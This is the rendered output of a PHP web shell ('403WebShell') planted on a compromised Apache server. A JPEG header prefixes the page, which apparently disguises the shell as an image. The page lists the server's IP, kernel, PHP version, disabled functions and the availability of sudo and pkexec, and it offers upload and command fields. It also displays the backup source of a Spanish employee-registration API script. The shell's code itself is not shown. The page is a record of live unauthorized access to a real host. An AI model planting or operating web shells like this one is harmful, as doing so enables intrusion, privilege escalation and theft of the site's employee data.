����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.144.88.107
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/apirestE/nppBackup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/apirestE/nppBackup/create_employee.php.2025-02-28_125620.bak
<?php
// Incluir la conexión a la base de datos
require_once("../model/dbconn.php");

// Verificar que se reciba la solicitud de tipo POST
if ($_SERVER['REQUEST_METHOD'] === 'POST') {

    // Decodificar el JSON recibido desde el cliente
    $empleados = json_decode(file_get_contents('php://input'), true);

    if ($empleados) {
        try {
			$pos = new pos();
            // Iniciar la conexión PDO
            $pdo = new PDO(DB_DSN, DB_USERNAME, DB_PASSWORD);
            $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

            // Preparar la consulta para verificar si el empleado existe
            $checkEmployeeQuery = "SELECT COUNT(*) FROM employee WHERE id_cust = :id_cust";
            $stmt = $pdo->prepare($checkEmployeeQuery);

            // Preparar la consulta de inserción
            $insertEmployeeQuery = "INSERT INTO employee (id_cust, name, contract, Sueldo, direccion, come_in, id_ruta, route_id, poblacion, phone, id_puesto, status, dateUp, dateBaja, dateReUp, date_emp) 
                                    VALUES (:id_cust, :name, :contract, :Sueldo, :direccion, :come_in, :id_ruta, :route_id, :poblacion, :phone, :id_puesto, :status, :dateUp, :dateBaja, :dateReUp, :date_emp)";
            $insertStmt = $pdo->prepare($insertEmployeeQuery);

            // Recorrer cada empleado
            foreach ($empleados as $empleado) {
                // Verificar si el empleado ya existe
                $stmt->bindParam(':id_cust', $empleado['id_cust']);
                $stmt->execute();
                $count = $stmt->fetchColumn();

                // Si el empleado no existe, insertarlo
                if ($count == 0) {
                    // Vincular los parámetros de la consulta de inserción
                    $insertStmt->bindParam(':id_cust', $empleado['id_cust']);
                    $insertStmt->bindParam(':name', $empleado['name']);
                    $insertStmt->bindParam(':contract', $empleado['contract']);
                    $insertStmt->bindParam(':Sueldo', $empleado['Sueldo']);
                    $insertStmt->bindParam(':direccion', $empleado['direccion']);
                    $insertStmt->bindParam(':come_in', $empleado['come_in']);
                    $insertStmt->bindParam(':id_ruta', $empleado['id_ruta']);
                    $insertStmt->bindParam(':route_id', $empleado['route_id']);
                    $insertStmt->bindParam(':poblacion', $empleado['poblacion']);
                    $insertStmt->bindParam(':phone', $empleado['phone']);
                    $insertStmt->bindParam(':id_puesto', $empleado['id_puesto']);
                    $insertStmt->bindParam(':status', $empleado['status']);
                    $insertStmt->bindParam(':dateUp', $empleado['dateUp']);
                    $insertStmt->bindParam(':dateBaja', $empleado['dateBaja']);
                    $insertStmt->bindParam(':dateReUp', $empleado['dateReUp']);
                    $insertStmt->bindParam(':date_emp', $empleado['date_emp']);

                    // Ejecutar la inserción
                    $insertStmt->execute();
                }
            }

            // Responder con éxito
            echo json_encode(['message' => 'Empleados procesados correctamente.']);

        } catch (PDOException $e) {
            // En caso de error, devolver el mensaje de error
            echo json_encode(['error' => $e->getMessage()]);
        }
    } else {
        echo json_encode(['error' => 'Datos de empleados no válidos.']);
    }
} else {
    echo json_encode(['error' => 'Método de solicitud no permitido.']);
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit